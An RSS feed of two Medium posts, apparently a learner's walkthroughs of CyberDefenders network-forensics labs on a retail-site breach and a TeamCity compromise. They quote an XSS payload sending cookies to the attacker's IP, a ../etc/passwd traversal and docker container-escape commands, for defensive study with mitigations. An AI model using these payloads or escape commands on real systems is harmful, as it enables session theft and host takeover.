<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by PRERANA WAGH on Medium]]></title>
        <description><![CDATA[Stories by PRERANA WAGH on Medium]]></description>
        <link>https://medium.com/@waghprerana07?source=rss-11ef49e12ef8------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*nQnDeFr6nWLH5aNH</url>
            <title>Stories by PRERANA WAGH on Medium</title>
            <link>https://medium.com/@waghprerana07?source=rss-11ef49e12ef8------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 09:07:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@waghprerana07/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[RetailBreach Lab Walkthrough: SOC Analyst Tier-1 Track (CyberDefenders)]]></title>
            <link>https://medium.com/@waghprerana07/retailbreach-lab-walkthrough-soc-analyst-tier-1-track-cyberdefenders-3bd765d4890b?source=rss-11ef49e12ef8------2</link>
            <guid isPermaLink="false">https://medium.com/p/3bd765d4890b</guid>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[network-forensics]]></category>
            <dc:creator><![CDATA[PRERANA WAGH]]></dc:creator>
            <pubDate>Thu, 16 Jul 2026 05:57:10 GMT</pubDate>
            <atom:updated>2026-07-16T05:57:10.934Z</atom:updated>
            <content:encoded><![CDATA[<p>If you’ve just started your journey on the CyberDefenders platform, welcome to the team. This series is dedicated to providing guided, interactive walkthroughs for the SOC Analyst Tier-1 Track.</p><p>View my verified achievement:<a href="https://cyberdefenders.org/blueteam-ctf-challenges/achievements/preranawagh/retailbreach/"> https://cyberdefenders.org/blueteam-ctf-challenges/achievements/preranawagh/retailbreach/</a></p><p>Building on our last network forensics walkthrough, this article examines a new set of packet captures. Open your VMs and PCAP files, and let’s analyze the traffic.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*nDWnO_WQiafnS5MzC_jCNg.png" /></figure><p><em>The following is a narrative walkthrough of the </em><a href="https://cyberdefenders.org/blueteam-ctf-challenges/retailbreach/"><em>RetailBreach</em></a><em> network forensics lab, detailing the compromise of the ShopSphere retail platform.</em></p><p><strong>Introduction: Setting the Scene</strong></p><p>In recent days, ShopSphere reported unusual administrative login activity during late-night hours. These anomalies coincided with customer complaints, raising concerns about a potential security breach.</p><p>To piece together the timeline, pinpoint the attacker’s methodology, and determine the exact scope of the compromise, we conducted a deep-dive analysis of the captured network traffic (RetailBreach.pcap).</p><blockquote><strong>Phase 1: Reconnaissance and Identification</strong></blockquote><p>Our first priority in any network breach is mapping the attack surface. We need to find the attacker.</p><p><strong>Q1. Identifying an attacker’s IP address is crucial for mapping the attack’s extent and planning an effective response. What is the attacker’s IP address?</strong></p><p>Reviewing the pcap file, I observed a series of suspicious GET requests targeting sensitive directories like <em>/admin</em>, <em>/adminpanel</em>, <em>/administratoraccounts</em>, and <em>/adminlogon</em> (can be seen in the screenshots below).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7jg9C6K6ARwIs3TpyThYIg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6lbQscjITxAb1J4holp3DA.png" /></figure><p>All these requests were sourced from a single IP: <strong>111.224.180.128</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N_lmn2ROg2uhwh-EoNZ-xQ.png" /></figure><p>Following one of these unusual requests, the timestamps confirmed they were executed late at night. Correlating these with the server logs, I confirmed the attacker’s source and identified the server IP as 73.124.17.52.</p><p><strong>Q2. The attacker used a directory brute-forcing tool to discover hidden paths. Which tool did the attacker use to perform the brute-forcing?</strong></p><p>By analyzing the HTTP request sequence, I noticed automated requests testing various directory paths.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oKCWhDG7hA-TU1aPwMLDHw.png" /></figure><p>Inspecting the User-Agent string in these packets revealed the use of <strong>gobuster</strong>, a tool commonly used for directory brute-forcing.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-crKk1SUvD1-2KDn0Q-9sA.png" /></figure><blockquote><strong>Phase 2: XSS and Payload Execution</strong></blockquote><p><strong>Q3. Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by users. Can you specify the XSS payload that the attacker used to compromise the integrity of the web application?</strong></p><p>Filtering for<strong> http.request.method == POST</strong>. In the last stream we could see some malicious payload being injected into the web application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OtdyVjSUZe54K58F3dvRzA.png" /></figure><p>Let’s follow the stream to view full details. (Right click-&gt; Follow-&gt; HTTP stream)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aT5kcZ2wbh7wmHvEcQN-lA.png" /></figure><p>Using <a href="https://cyberchef.org/">CyberChef</a> to decode the data, we retrieved the script:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VKEdF59wZmWtdrpezcwttA.png" /></figure><p>&lt;script&gt;fetch(‘http://111.224.180.128/&#39; + document.cookie);&lt;/script&gt;</p><p>This script is a classic XSS payload used by attackers to perform cookie theft. When the script run’s in the victim’s browser, document.cookie accesses the cookies associated with that specific domain. The script then takes those sensitive cookies and appends them to the URL. It then initiates a fetch request(an HTTP request) to an attacker controlled server (111.224.180.128). As a result, the attacker is now able to capture user sessions and impersonate the user.</p><p><strong>How to Mitigate this:</strong></p><p>If you are developing or securing a web application, you can prevent this specific type of attack using several layers of defense:</p><ul><li>HttpOnly Cookies: This is the most effective defense against this specific script. By setting the HttpOnly flag on sensitive cookies, you tell the browser that these cookies cannot be accessed via JavaScript (document.cookie will return an empty string for those cookies), effectively neutralizing the threat.</li><li>Content Security Policy (CSP): Implement a strong CSP header that restricts where scripts can send data (connect-src) and prevents the execution of inline scripts.</li><li>Input Sanitization and Output Encoding: Ensure that all user-supplied data is properly encoded before being rendered in the browser. This prevents the browser from interpreting input (like &lt;script&gt; tags) as executable code.</li></ul><p><strong>Q4. Pinpointing the exact moment an admin user encounters the injected malicious script is crucial for understanding the timeline of a security breach. Can you provide the UTC timestamp when the admin user first visited the page containing the injected malicious script?</strong></p><p>Post-injection, I identified the first interaction via the GET /admin/log_viewer.php?file=error.log request. Analyzing this stream provided the exact timestamp of when the administrator first encountered the infected page.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SSM1gvr2RxbvjWXQPwMtkw.png" /></figure><p><strong>Q5. The theft of a session token through XSS is a serious security breach that allows unauthorized access. Can you provide the session token that the attacker acquired and used for this unauthorized access?</strong></p><p>From the captured stream identified in Q4, we successfully extracted the session cookie: <strong>PHESESSID=lqkctf24s9h9lg67teu8uevn3q</strong>.</p><blockquote><strong>Phase 3: Exploitation and Post-Exploitation</strong></blockquote><p>With an admin session hijacked, the attacker had bypassed the perimeter. Let’s analyze their subsequent actions</p><p><strong>Q6. Identifying which scripts have been exploited is crucial for mitigating vulnerabilities in a web application. What is the name of the script that was exploited by the attacker?</strong></p><p>The <em>log_viewer.php</em> script, which accepts a file= parameter (refer screenshot available in Q4), presented a clear Local File Inclusion (LFI) vulnerability. A script that accepts a filename as user input and reads it from disk, without sanitization, allows an attacker to traverse directories and read arbitrary files on the server.</p><p><strong>Q7. Exploiting vulnerabilities to access sensitive system files is a common tactic used by attackers. Can you identify the specific payload the attacker used to access a sensitive system file?</strong></p><p>For this question, we will just see the http requests made by our attacker.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HAhCbqz62txUHxM2Yuts4Q.png" /></figure><p>And there we go! We can now see the exact payload the attacker used to access a sensitive system file- ../../../../../etc/passwd.</p><p><strong>Conclusion: Complete Attack Chain Reconstruction</strong></p><p>Incident response is all about seeing the big picture. By meticulously reconstructing the PCAP data, we’ve mapped the attacker’s entire kill chain:</p><ol><li>Reconnaissance: Directory brute-forcing using Gobuster to map the server.</li><li>Discovery: Uncovering hidden administrative paths.</li><li>Weaponization: Injecting a malicious XSS payload into reviews.php.</li><li>Exploitation: Hijacking the administrator’s session when they viewed the infected page.</li><li>Access: Utilizing the stolen PHESESSID token to bypass authentication.</li><li>Post-Exploitation: Abusing an LFI vulnerability in log_viewer.php.</li><li>Exfiltration: Successfully extracting sensitive server files like /etc/passwd.</li></ol><p>Another case closed! If you have any questions about this walkthrough, or just want to talk about threat hunting, feel free to connect with me on <a href="https://www.linkedin.com/in/prerana-wagh-a1893127b/">LinkedIn</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3bd765d4890b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JetBrains Lab Walkthrough: SOC Analyst Tier-1 Track (CyberDefenders)]]></title>
            <link>https://medium.com/@waghprerana07/jetbrains-lab-walkthrough-soc-analyst-tier-1-track-cyberdefenders-fddf04205837?source=rss-11ef49e12ef8------2</link>
            <guid isPermaLink="false">https://medium.com/p/fddf04205837</guid>
            <category><![CDATA[jetbrains]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberdefender]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[blue-team]]></category>
            <dc:creator><![CDATA[PRERANA WAGH]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 18:32:01 GMT</pubDate>
            <atom:updated>2026-07-14T18:32:01.479Z</atom:updated>
            <content:encoded><![CDATA[<p>As a part of my journey navigating and grasping through the core concepts of SOC, Digital Forensics, Incident Response and Threat hunting, I’ve started publishing these walkthroughs to document my progress. These labs help me develop real world skills necessary in Incident response, Threat management, and Malware investigation while building a portfolio that reflects my problem solving approach.</p><p>View my verified achievement: <a href="https://cyberdefenders.org/blueteam-ctf-challenges/achievements/preranawagh/jetbrains/">https://cyberdefenders.org/blueteam-ctf-challenges/achievements/preranawagh/jetbrains/</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*qF2mbfRAqDyx3ei47RU_TQ.png" /></figure><p><em>The following is a narrative walkthrough of the forensic investigation into the JetBrains TeamCity server compromise.</em></p><p>For those who don’t know what <strong>JetBrains TeamCity</strong> is : JetBrains TeamCity is a robust, continuous integration and continuous deployment (CI/CD) server designed to automate software building, testing, and deployment pipelines. It allows development teams to collaborate efficiently by catching code errors early and streamlining the release process.</p><p>Role in Cybersecurity</p><p>Because TeamCity manages sensitive source code, signing certificates, and deployment credentials, it is a high-value target for attackers. Vulnerabilities in TeamCity, such as authentication bypasses used to create unauthorized administrative accounts via the REST API can lead to supply chain attacks</p><p><strong>Introduction: Setting the Scene</strong></p><p>The investigation began following a critical security incident where an attacker exploited a vulnerability in our web server. Initial reports indicated that the adversary successfully uploaded webshells, gaining full control over the system and utilizing it as a launchpad for data manipulation. To piece together the timeline and determine the extent of the compromise, we conducted a deep-dive analysis of the network traffic captured in a PCAP file.</p><blockquote><strong>Phase 1: Entry Point &amp; Identification</strong></blockquote><p><strong>Q1. Identifying the attacker’s IP address helps trace the source and stop further attacks. What is the attacker’s IP address?</strong></p><p>From the scenario we know the attacker tried uploading some webshell over the server. So looking into POST requests from the pcap would make the analysis easier.</p><p>By applying the filter <strong>http.request.method == POST</strong>, we see a few specific file upload requests utilizing administrative privileges from the source IP: <strong>23.158.56.196</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*muo1busqb3HvEYYOZWax7w.png" /></figure><blockquote><strong>Phase 2: Vulnerability Analysis</strong></blockquote><p>With the attacker identified, we will now shift our focus to the “how.” To determine which vulnerability was exploited, we needed to know the exact version of the running web server.</p><p><strong>Q2. To identify potential vulnerability exploitation, what version of our web server service is running?</strong></p><p>I combed through GET requests for server information and one HTTP request caught my attention</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XnjAV3-NZH05hMBr1L6Wpg.png" /></figure><p>I followed this suspicious HTTP stream, which revealed the specific build and version of the TeamCity web server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8wQC8lSLJLtPV5mOqeI58Q.png" /></figure><p><strong>Q3. After identifying the version of our web server service, what CVE number corresponds to the vulnerability the attacker exploited?</strong></p><p>A cross-reference of the JetBrains TeamCity version against public databases confirmed the vulnerability. One of the CVE perfectly corresponded to the action performed by the attacker in our system.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MmirjID6OwV-2KbJcvtOqA.png" /></figure><blockquote><strong>Phase 3: Exploitation Timeline</strong></blockquote><p>The attack progressed rapidly after the initial breach. The traffic logs showed the attacker immediately creating a new user account to maintain access.</p><p><strong>Q4. The attacker exploited the vulnerability to create a user account. What credentials did he set up?</strong></p><p>Creation of any account requires a POST method to be executed. I filtered results for POST requests and found one user creation request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f_8hoXmbUD1uJsmuFfddCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*ZUCK71oyyW3e05pDHU76Cw.png" /></figure><p>Inside a JSON object within the POST request, I discovered the newly set credentials for the new user.</p><p><strong><em>Further solidifying the presence:</em></strong></p><p><strong>Q5. The attacker uploaded a webshell to ensure his access to the system. What is the name of the file that the attacker uploaded?</strong></p><p>Filtering the streams for POST requests using <strong>http.request.method == POST</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dCXDOGfojAm6aXmHJXUH_g.png" /></figure><p>I followed the /admin/pluginUpload.html stream. After scrolling down a bit you can see the file name. The attacker uploaded a webshell named <strong>NSt8bHTg.zip</strong> (containing a JSP file).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0y2yJurwPmxHmFuFHDWs_g.png" /></figure><p><strong>Q6. When did the attacker execute their first command via the web shell?</strong></p><p>Analysis of the JSP execution timing revealed the exact moment the first command was issued via the webshell, marking the transition from initial access to active system manipulation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UJKl4zkbbbcP8ZhC7MmcGg.png" /></figure><blockquote><strong>Phase 4: Data Manipulation &amp; Escalation</strong></blockquote><p>The most damaging phase involved the targeting of sensitive information. The attacker used the webshell to tamper with <strong>Creds.txt</strong>, a file containing administrative credentials.</p><p><strong>Q7. The attacker tampered with a text file that contained the credentials of the admin user of the webserver. What new username and password did the attacker write in the file?</strong></p><p>Analyzing the HTTP requests made through the malicious webshell (NSt8bHTg.jsp) reveals that the attacker tampered with the text file “Creds.txt” , likely containing sensitive credentials for the admin user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TeFKRr2NFgltssL2B22kNw.png" /></figure><p>Previous ID and password can be verified below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VE7-POL7Ivdm4rWWFqyXBQ.png" /></figure><p>For new ID and pass the attacker ran a command to add new credentials to the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ATLIhESOLY2uQkkcvW-OZg.png" /></figure><p>New credentials now were:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nk2B3JdD49hHPiLNGIIr9w.png" /></figure><p><strong>Q8. What is the MITRE Technique ID for the attacker’s action in the previous question (Q7) when tampering with the text file?</strong></p><p>I searched over google for “File tampering activity related, relevant MITRE ATT&amp;CK Technique”. And following are the results that I got:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*3IHgSUqfFO6XtAgbZbezfA.png" /></figure><p><strong>Q9. The attacker tried to escape from the container but he didn’t succeed. What is the command that he used for that?</strong></p><p>Finally, the attacker attempted to break out of the container environment to gain host-level root access.</p><p>I could see two docker commands in our network stream being executed by the attacker. First, they executed <strong>cmd=docker+run+ — rm+-it+ — privileged+ubuntuHTTP/1.1 200</strong></p><p>This command is used for <strong>Privilege Escalation</strong> and <strong>Container Escape</strong>. It allows an attacker or administrator to completely bypass container isolation and gain full, unrestricted access to the underlying host system.</p><p>Command Breakdown</p><ul><li><strong>docker run — rm -it</strong>: Launches a new Ubuntu container interactively and deletes it immediately upon exit to minimize logs.</li><li><strong>— privileged</strong>: It grants the container root-level capabilities over the host machine. The container is no longer sandboxed; it can see host devices, modify kernel settings, and access host files.</li></ul><p>What This Command Helps Achieve (The Objective)</p><p>1. Full Host Compromise (Container Escape)</p><p>By default, containers cannot see the host’s physical hard drives. Because the — privileged flag allows the container to see all host devices, an attacker inside this container can simply find the host’s primary hard drive (usually /dev/sda1 or /dev/nvme0n1p1) and mount it:</p><p>Once mounted, the attacker can access, modify, or delete any file on the host operating system (such as /etc/shadow or system binaries).</p><p>2. Kernel and Hardware Manipulation</p><p>A privileged container can load or unload kernel modules (modprobe), manipulate network interfaces (like setting up sniffers via tcpdump on host traffic), and interact directly with host hardware.</p><p>3. Execution of Host Commands</p><p>Combined with tools like nsenter, a user inside a privileged container can switch namespaces to the host system. This allows them to run commands directly on the host as root, effectively breaking out of the container entirely.</p><p>Second, they executed c<strong>md=docker+run+ — rm+-it+-v+%2F%3A%2Fhost+ubuntu+chroot+%2Fhost</strong></p><p><strong>cmd=docker run — rm -it -v /:/host ubuntu chroot /host</strong>, is a classic <strong>Container Escape / Host Root Access</strong> technique.</p><p>Command Breakdown</p><ul><li><strong>docker run</strong>: Instructs the Docker daemon to spin up and run a new container.</li><li><strong>— rm</strong>: Automatically deletes the container once it exits to avoid leaving a footprint.</li><li><strong>-it</strong>: Runs the container interactively (-i keeps STDIN open, -t allocates a pseudo-TTY terminal).</li><li><strong>-v /:/host</strong>: <strong>This is the core malicious action.</strong> It mounts the entire root file system (/) of the underlying physical host machine into a directory inside the container named /host.</li><li><strong>ubuntu</strong>: The base container image used to execute the command.</li><li><strong>chroot /host</strong>: Changes the root directory of the container session to /host.</li></ul><p>By combining the volume mount and chroot, the user inside the container completely escapes container isolation and gains full root access to the underlying host operating system<strong>.</strong></p><p>From this point, the operator can modify host system files, view host credentials, tamper with host processes, or establish host-level persistence.</p><p>Fortunately, the PCAP analysis indicates this attempt failed, limiting the compromise to the containerized environment.</p><p><strong>Conclusion</strong></p><p>By meticulously reconstructing the attack chain from the PCAP data, we successfully identified the entry point (IP 23.158.56.196), the exploitation of a known TeamCity vulnerability, the establishment of persistence via webshell, and the subsequent data manipulation. This forensic narrative provides the clarity needed to remediate the vulnerability and strengthen our defenses against future incursions.</p><p>Thank you for reading! If you found this article helpful, consider checking out my Medium profile for more cybersecurity content, including SOC investigations, DFIR labs, CTF write-ups, and hands-on security projects. If you have any questions, feedback, or simply want to connect, don’t hesitate to reach out to me on <a href="https://www.linkedin.com/in/prerana-wagh-a1893127b/">LinkedIn</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=fddf04205837" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>